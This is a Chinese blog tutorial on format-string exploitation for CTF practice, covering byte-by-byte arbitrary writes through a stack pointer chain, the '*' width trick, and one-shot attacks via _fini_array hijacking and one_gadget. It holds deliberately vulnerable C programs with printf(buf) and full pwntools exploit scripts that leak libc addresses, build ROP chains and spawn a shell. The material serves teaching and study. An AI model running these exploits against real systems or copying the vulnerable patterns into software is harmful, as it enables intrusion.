所谓诸葛连弩,就是利用原有的 a -> b -> c 链构造 a -> b -> c -> target_addr ,从而实现对目标地址的逐字节修改。首先,修改指针 c 地址内容末端的一个字节为 target_addr & 0xff 即目标地址 16 进制的后两位:

207

修改指针 b 的内容 c 末端的一个字节,构成 a -> b -> c + 1,再修改 c + 1 指向的待修改地址末端一个字节即原来 c 指向的待修改地址末端第二个字节为 (target_addr >> 8) & 0xff ,其中 target_addr 右移 8 位,相当于舍去其 16 进制地址的末两位(1 字节),此时再 &0xff 便是取出 16 进制地址末端的第二个字节:

208

……以此类推,就可以逐步将 c 指向的地址修改为目标地址,最后再通过 bc + n 复位为 c 即可;构造出 a -> b -> c -> target_addr 链后,便可如法炮制,c 指向的地址 target_addr 不断累加,再逐字节写入到其内容末端两个字节,最终成功修改目标地址的内容,达成任意地址写入。

210

需要注意,由于逐字节写入需要反复调用 printf ,这种方法不能用于修改 GOT 表项,且尾部字节在 0xfd0xff 之间会失效c 末端第二个字节会在累加中进位),需要多打几次,直至不在这一区间内。

这一算法很容易通过循环简便实现,而修改四连指针指向目标地址、修改目标地址指向任意地址这两步本质上是可以使用函数概括的,如下:

def fmt_payload(offset_1, offset_2, addr, data):
    addr_4 = addr & 0xff
    for i in range(6):
        addr_byte = addr_4 + i
        # 写入地址累加操作
        if addr_byte == 0:
            payload = b'%' + str(offset_1).encode() + b'$hhn\x00'
        else:
            payload = b'%' + str(addr_byte).encode() + b'c%' + str(offset_1).encode() + b'$hhn\x00'
        p.sendline(payload)
        sleep(1)
				# 单字节写入数据
        data_byte = (data >> i * 8) & 0xff
        if data_byte == 0:
            payload = b'%' + str(offset_2).encode() + b'$hhn\x00'
        else:
            payload = b'%' + str(data_byte).encode() + b'c%' + str(offset_2).encode() + b'$hhn\x00'
        sleep(1)
        p.sendline(payload)
		# 重置 c
    payload = b'%' + str(addr_4).encode() + b'c%' + str(offset_1).encode() + b'$hhn\x00'
    sleep(1)
    p.sendline(payload)
  • offset_1 对应写入地址的格式化字符串偏移,offset_2 待修改地址的格式化字符偏移(这样才能通过 %hhn 正确写入数据);addr 为写入地址,而 data 表示要写入的内容
  • 一般地址高 2 字节均为 \x00 ,写入过程中可以保持不变,只写入 6 字节
  • 有些情况下需要写入 \x00 ,但 %c 并不支持写入 0 个字符,因此需要利用条件判断特殊化考量
  • 由于程序关闭了缓冲区,而之前手动模拟缓冲区过于繁琐,这里也可以使用 sendline() 发送 payload 声明输入终止,再等待一定时间确保数据写入完毕

已知栈上存在一个四连指针(三连指针也可,找到一个指针与其连接即可),需要确保该指针最终指向的地址内容并不会被待构造的 ROP 链覆盖,否则就应当将第二重指针修改为指向其他不影响的地址。显然如下图,四连指针指向的地址内容刚好在待覆盖的地址内容上,会受 ROP 链构造的影响,故需要令第二重指针 b 指向图中栈末尾的指针

209

其实相当于将四连指针中原来的 c 替换为新指针,函数 fmt_payload 参数 addr 直接传入新指针地址,只要不与原来的 c 地址在末端第二个字节上存在差异即可成功修改

完成 ROPgadget 查找 pop rdi; ret 并计算出 PIE 保护下的真实地址(注意偏移是相对于程序装载基地址的)、泄漏 libc 库函数真实地址这些准备工作后,泄漏四连指针真实地址,并以此为基准计算出新指针地址和待篡改的返回地址:

search_ptr = b'%6$p\x00'
p.sendline(search_ptr)
ptr_addr = int(p.recv()[2:14], 16) - 0x10
ptr_2_addr = ptr_addr + 7 * 0x8		# 后面需要修改 c 为该地址
ret_addr = ptr_addr + 0x18

随后,先以新指针地址(会修改 a -> b -> c 链,c 转移到新指针上)作为写入地址,返回地址 ret_addr 作为写入内容构成 target_addr ,再以 ret_addr 作为写入地址,pop rdi; ret 作为写入内容,从而修改返回地址;后面 ROP 链的布置相似,分别将 ret_addr + 0x8ret_addr + 0x10 修改为指定地址。

fmt_payload(6, 8, ptr_2_addr, ret_addr)
fmt_payload(8, 13, ret_addr, pop_rdi_ret)

fmt_payload(6, 8, ptr_2_addr, ret_addr + 0x8)
fmt_payload(8, 13, ret_addr + 0x8, bin_sh_addr)

fmt_payload(6, 8, ptr_2_addr, ret_addr + 0x10)
fmt_payload(8, 13, ret_addr + 0x10, system_addr)

GDB 附加调试一下,可以看到修改成功(只要上面提到的条件不满足,就打不通,需要多试几次),最后再输入 quit\x00 退出循环,回到主函数并返回时就可以 get shell:

211

完整 Exp 脚本如下:

点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')
file = './fmt_str_2_x64_stack'
elf = ELF(file)
p = process(file)

def fmt_payload(offset_1, offset_2, addr, data):
    addr_4 = addr & 0xff
    for i in range(6):
        addr_byte = addr_4 + i
        if addr_byte == 0:
            payload = b'%' + str(offset_1).encode() + b'$hhn\x00'
        else:
            payload = b'%' + str(addr_byte).encode() + b'c%' + str(offset_1).encode() + b'$hhn\x00'
        p.sendline(payload)
        sleep(1)

        data_byte = (data >> i * 8) & 0xff
        if data_byte == 0:
            payload = b'%' + str(offset_2).encode() + b'$hhn\x00'
        else:
            payload = b'%' + str(data_byte).encode() + b'c%' + str(offset_2).encode() + b'$hhn\x00'
        sleep(1)
        p.sendline(payload)

    payload = b'%' + str(addr_4).encode() + b'c%' + str(offset_1).encode() + b'$hhn\x00'
    sleep(1)
    p.sendline(payload)

p.recvuntil(b'hello\n')
search_main = b'%9$p\x00'
p.sendline(search_main)
main_offset = int(p.recv()[2:14], 16)
main_addr = main_offset - 0x18
file_base = main_addr - elf.symbols['main']
pop_rdi_ret = file_base + 0x0a83

search_libc_base = b'%11$p\x00'
p.sendline(search_libc_base)
libc_start_main_offset = int(p.recv()[2:14], 16)
libc_start_main_addr = libc_start_main_offset - 0xf0
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc_base = u64(p64(libc_start_main_addr)) - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

search_ptr = b'%6$p\x00'
p.sendline(search_ptr)
ptr_addr = int(p.recv()[2:14], 16) - 0x10
ptr_2_addr = ptr_addr + 7 * 0x8
ret_addr = ptr_addr + 0x18

fmt_payload(6, 8, ptr_2_addr, ret_addr)
fmt_payload(8, 13, ret_addr, pop_rdi_ret)

fmt_payload(6, 8, ptr_2_addr, ret_addr + 0x8)
fmt_payload(8, 13, ret_addr + 0x8, bin_sh_addr)

fmt_payload(6, 8, ptr_2_addr, ret_addr + 0x10)
fmt_payload(8, 13, ret_addr + 0x10, system_addr)

# gdb.attach(p)
# pause()

p.recv()
p.send(b'quit\x00')
p.interactive()

从上述攻击可以看出,诸葛连弩的单字节覆写限制条件较多,主要用于 Full Relro 保护开启下的 ROP 链构建,一般能使用四马分肥就尽量不用。

杂项

* 的妙用

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int init_func(){
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
	return 0;
}

int dofunc(){
	char buf1[8] = {};
	char buf2[0x10];
	char buf3[8] = {};
	long long int *p = (long long int) buf1;
	int fd = open("/dev/random", 0);
	int d = 0;
	read(fd, buf1, 2);
	read(fd, buf3, 2);
	close(fd);
	puts("input:");
	read(0, buf2, 0x10);
	printf(buf2);
	if(!strncmp(buf1, buf3, 2)) system("/bin/sh");

	return 0;
}

int main(){
	init_func();
	dofunc();
	return 0;
}
/* gcc fmt_str_star.c -o fmt_str_star_x64 -std=c89 */ 
/* gcc -m32 fmt_str_star.c -o fmt_str_star_x86 -std=c89 */ 

从源码可以看出,程序会从随机数中先后读取 2 个字节存入 buf1buf3 中,再由用户输入 0x10 个字节到 buf2 中,只要 buf1buf3 相等,就执行 shell。显然,一般格式化字符串的写入光 %c 的输入长度就远大于 read() 允许的输入长度

checksec 可以看到,已经没有篡改 GOT 表和栈溢出的可能:

213

通过 GDB 调试不难得知 buf1buf3 的栈地址,只需要使两者相等即可;格式化字符串中的 * 会在后面的参数列表中读取对应的参数并作为占位字符的输入长度,此时 %*x$c (这与之前读取指定参数是一致的)则会读取对应格式化字符串偏移 \(x\) 的栈内容作为 %c 输入字符数的值,这样我们就可以将其中一个栈内容的值通过 * 快速赋值给另一个栈内容。对于 %hn ,需要一个指向其中一个字符串的指针来写入数据,而恰好如图红框上方就有指向 buf1 的指针,因此就可以将第二个栈 buf3 的内容写入到 buf1 中,使之相等。可以直接运行程序,输入如下 payload,即可打通,get shell:

%*9$c%7$hn

214

只有一次的格式化字符串

大多数格式化字符串漏洞利用都会使用到 while() 循环,以此达到反复泄漏并攻击的目的,但有些时候程序不存在循环,常规方法就行不通了,只能利用一次格式化字符串漏洞。

百步穿杨

Ubuntu 16.04 环境编译如下 C 源码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int sys(char *cmd){
	system(cmd);
}

int init_func(){
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
	return 0;
}

int dofunc(){
	char buf[0x100];
	puts("input:");
	read(0, buf, 0x100);
	printf(buf);
	return 0;
}

int main(){
	init_func();
	dofunc();
	return 0;
}
// gcc fmt_str_once.c -no-pie -z norelro -o fmt_str_once_x64
// gcc -m32 fmt_str_once.c  -no-pie -z norelro -o fmt_str_once_x86

程序中有 system() 函数,全部关闭了 Relro 保护,且关闭了 PIE 保护,但不存在 while() 之类的循环。无论是将 printf() 的 GOT 表改为 system() PLT 跳转地址(延迟绑定,先获取 system() 真实地址),还是直接修改栈的返回地址为 one gadget,均需要至少两次漏洞利用(第一次篡改 GOT 表,第二次执行 printf 触发),因此我们要尝试构造第二次 printf() 的执行

Linux 中,程序的运行流程如下图所示:

215

程序的入口点是 _start() ,IP 寄存器最初也会定位到该函数。_start() 函数会先调用 __libc_start_main() ,以其为支点陆续执行 __libc_csu_init()main() ,最后调用 exit() 退出程序:

216

217

218

__libc_csu_init() 主要关注两个部分:

  • 调用 _init_proc() ,它被定义在 .init
  • 循环调用 __init_array_start 数组内容,其为一个函数指针数组,里面存储了全局初始化相关的函数,它被定义在 .init_array

219

220

回到 __libc_start_main() 后,继续调用 __libc_start_call_main() ,其中先调用 main() 主函数,后调用 exit() 退出:

221

exit() 调用 __run_exit_handlers() ,在程序退出时执行所有用户注册的退出处理函数:

222

最后在 _dl_call_fini() 中读取 _fini_array 数组:

223

简单来说,_fini_array 数组存放了函数指针,在退出时会循环遍历进行调用,如果我们可以劫持 _fini_array ,将其中的函数指针修改为指向 main() ,这样就可以实现二次利用:

224

总而言之,程序从运行到退出的大致流程如下,需要注意 _fini_array 会逆序遍历读取:

226

在这个程序中 _fini_array 只有一个函数指针,修改该函数为 main() 函数地址即可重新执行一遍程序,然而却无法构造无限循环。从 _fini_array逆序读取一个函数调用完成、回到 _dl_call_fini() 后,会将寄存器中保存的 _fini_array 地址减去一个字长,相对于将数组的下标 - 1,此时便超出了 _fini_array 数组的范围。随后 _dl_call_fini() 会检查此时要执行的函数是否和 fini_array 边界处的函数相同,相同的话则不继续循环遍历。因此,即使将 _fini_array[0] 改为 main() 地址,程序也只会重新执行一次。

225

那么思路就确定了:先利用第一次的格式化字符串漏洞将 _fini_array 数组里的函数指针改为 main() ,同时也要一并将 printf GOT 表改为 system() PLT 表地址,这样第二次调用 printf() 便可完成 system() 延迟绑定机制,最后再发送 /bin/sh 字符串就可永久换出 shell.

from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './fmt_str_once_x64'
io = process(file)
elf = ELF(file)

io.recvuntil(b'input:\n')
fini_array = 0x600A88
main_addr = elf.symbols['main']
printf_got = elf.got['printf']
system_plt = elf.symbols['system']

payload = fmtstr_payload(6, {fini_array : main_addr, printf_got : system_plt})
io.send(payload)
io.send(b'/bin/sh\x00')

io.interactive()

一石三鸟

上一节面对只有一次格式化字符串的题目,有如下条件满足:

  • 关闭 Relro 保护( _fini_array 可修改)
  • 关闭 PIE 保护
  • 存在后门函数,可直接调用 system PLT 表

但如果我们删去后门函数,如下 C 源码按 Ubuntu 16.04 编译:

#include <stdio.h>

int init_func(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    return 0;
}

int dofunc(){
    char buf[0x100];
    puts("input:");
    read(0, buf, 0x100);
    printf(buf);      
    return 0;
}

int main(){
    init_func();
    dofunc();
    return 0;
}
// gcc fmt_str_once_no_sys.c -no-pie -z norelro -o fmt_str_once_no_sys_x64
// gcc -m32 fmt_str_once_no_sys.c  -no-pie -z norelro -o fmt_str_once_no_sys_x86

这意味着需要先泄漏 libc 基地址,则第一次格式化字符串无法实现一并修改 printf@gotsystem() 地址,而由于只有两次利用机会,就没有机会通过调用被篡改的 printf GOT 表项执行 system() 了。考虑控制 main() 函数的执行流,第二次格式化字符串直接篡改返回地址,调用 system()

因此,第一次格式化字符串需要完成:

  1. 泄漏第一次格式化字符串的 RBP 地址 old_rbp ,从而获得第一次的返回地址,并通过偏移计算出第二次的 RBP new_rbp 乃至返回地址
  2. 构造包含已调用 libc 库函数 puts GOT 表地址的指针,通过 %s 泄漏出 puts() 真实地址,以便计算 system() 真实地址
  3. _fini_array 内容修改为 main() ,构造第二次格式化字符串

那么,第二次时只需要利用 fmtstr_payload 将新的返回地址篡改为调用 shell 的 ROP 链即可。GDB 定位到 printf() 内部,推算出 old_rbp 对应格式化字符串偏移,需要注意实际输出的是 old_rbp 地址对应的内容,还需要减去相应的偏移 0x10 得到:

227

puts GOT 表地址高位存在 \x00 ,应当将其放在最后发送以避免出现字符串截断;由于暂时不清楚 %s 对应的偏移,先大致勾勒出 payload 的基本结构,再附加 GDB 进行调整:

payload = b'%40$p%14$s'
payload += fmtstr_payload(8, {fini_array : main_addr})
payload += p64(puts_got)
gdb.attach(io)
pause()
io.send(payload)

228

为确保 printf 能够通过格式化字符串偏移正确读取到 puts_got ,其应当完全处于一整个内存单元中。一开始发送的泄漏字符串需要对齐到 16 字节(2 个内存单元),以 a 补位,这样之后发送的 fmtstr_payload 就能正好铺满整数倍的内存单元,从而使 puts_got 可以正好处于一整个内存单元。

payload = b'%40$p%14$s'
payload = payload.ljust(16, b'a')
payload += fmtstr_payload(8, {fini_array : main_addr})
payload += p64(puts_got)
gdb.attach(io)
pause()
io.send(payload)

229

现在 puts_got 位于一整个内存单元了,两小格为一个内存单元,可以很容易地通过格式化字符串偏移定位,对照着修改 %s 参数即可;同时注意到,fmtstr_payload 默认在其之前不发送任何数据,为使 _fini_array 被正确修改,需要将已经输出的字符数传入 numbwirtten 参数微调printf 会对格式化字符串实时解析,因此 %40$p%14$s 输出的字符实际上是各部分的输出结果之和—— %40$p 输出一段含 0x 的地址字符串,共 14 个字符;%14$s 输出地址的小端序数据,而地址有效位只有 6 字节,共输出 6 个字符;剩下输出的 a 数量可以通过对齐长度(16 字节)与对齐前第一部分 payload 长度之差计算得到。

payload = b'%40$p%14$s'
align_len = 16
num_a = align_len - len(payload)
payload = payload.ljust(align_len, b'a')
payload += fmtstr_payload(8, {fini_array : main_addr}, numbwritten= 14 + 6 + num_a)
payload += p64(puts_got)
gdb.attach(io)
pause()
io.send(payload)

附加 GDB 调试可以看出,_fini_array 内容被成功修改为 main() 函数地址了。接下来要接收泄漏的 RBP 地址,先接收前 12 字节数据存入 old_rbp ,再进入 GDB 附加调试,将接收到的 old_rbp 打印出来,在第一次程序即将退出时下断点到 dofunc()c 到第二次程序运行周期,ni 到开辟完函数栈帧查看新的 RBP 地址,并与 old_rbp 计算偏移。对于相同的 libc 版本,二者之间的偏移是固定的,通过 old_rbp 就可以推断出 new_rbp

# ... 构造 payload
gdb.attach(io)
pause()
io.send(payload)

io.recvuntil(b'0x')
old_rbp = int(io.recv(12), 16) - 0x10
print(hex(old_rbp))

230

new_rbp = old_rbp - 0x120

随后接收泄漏出的 puts() 真实地址,推算出 libc 基地址。有了第二次的返回地址,就可以通过 fmtstr_payload(其传入的字典可以存在多个条目,从而同时修改多个地址)定向修改指定地址构造 ROP 链,按照最初的设想,直接构造出 pop rdi; ret -> binsh_addr -> system_addr 就可以了,然而实际上这样的修改会耗费大量的输入空间,乃至超出了允许输出长度 0x100 ,因此考虑使用更节省 ROP 链空间的 one gadget. 使用 one_gadget 工具查看当前使用 libc 版本的全部 one gadget:

231

每条 one gadget 均有需要满足的使用条件,我们进入 GDB 附加调试一下,看看第二次 main() 函数返回之前哪些满足条件,抑或是更容易凑配出使用条件的:

232

只需要利用 pop; ret 将 R12 和 R13 改为 0(NULL)即可满足第一条 one gadget 的使用条件。那么,计算完 one gadget 真实地址,找到符合要求的 pop r12 ; pop r13; pop r14; pop r15; ret gadget,一一布栈修改地址即可:

puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
one_gadget = libc_base + 0xf6237

payload = fmtstr_payload(6, {new_rbp + 0x8 : pop_r12_r13_r14_r15_ret, 
                             new_rbp + 0x10 : 0, 
                             new_rbp + 0x18 : 0, 
                             new_rbp + 0x20 : 0, 
                             new_rbp + 0x28 : 0, 
                             new_rbp + 0x30 : one_gadget})
gdb.attach(io)
pause()
io.sendafter(b'input:\n', payload)

233

完整 Exp 脚本如下:

点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')
file = './fmt_str_once_no_sys_x64'
io = process(file)
elf = ELF(file)

io.recvuntil(b'input:\n')
fini_array = 0x6009F0
main_addr = elf.symbols['main']
printf_got = elf.got['printf']
puts_got = elf.got['puts']
pop_r12_r13_r14_r15_ret = 0x40083c

payload = b'%40$p%14$s'
align_len = 16
num_a = align_len - len(payload)
payload = payload.ljust(align_len, b'a')
payload += fmtstr_payload(8, {fini_array : main_addr}, numbwritten= 14 + 6 + num_a)
payload += p64(puts_got)
io.send(payload)

io.recvuntil(b'0x')
old_rbp = int(io.recv(12), 16) - 0x10
new_rbp = old_rbp - 0x120
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
one_gadget = libc_base + 0xf6237

payload = fmtstr_payload(6, {new_rbp + 0x8 : pop_r12_r13_r14_r15_ret, 
                             new_rbp + 0x10 : 0, 
                             new_rbp + 0x18 : 0, 
                             new_rbp + 0x20 : 0, 
                             new_rbp + 0x28 : 0, 
                             new_rbp + 0x30 : one_gadget})
# gdb.attach(io)
# pause()
io.sendafter(b'input:\n', payload)
io.recv()
io.interactive()
posted @ 2025-08-03 21:19  孤独者的夜空  阅读(89)  评论(0)    收藏  举报